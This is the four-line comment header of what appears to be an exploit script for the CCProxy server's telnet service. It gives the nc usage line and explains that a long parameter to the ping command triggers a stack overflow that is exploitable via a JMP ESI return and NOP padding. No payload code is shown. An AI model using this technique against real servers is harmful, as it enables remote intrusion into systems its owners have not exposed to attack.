# Usage:exploit.py|nc Host port,where port is the telnet service of the target
# The buG exists when a long parameter is passed to ping command in telnet
# service of CCproxy server.This is a classic stack based overflow.Ret address
# is close to ESI,so a JMP ESI will do the trick.Other nops are just for padding...
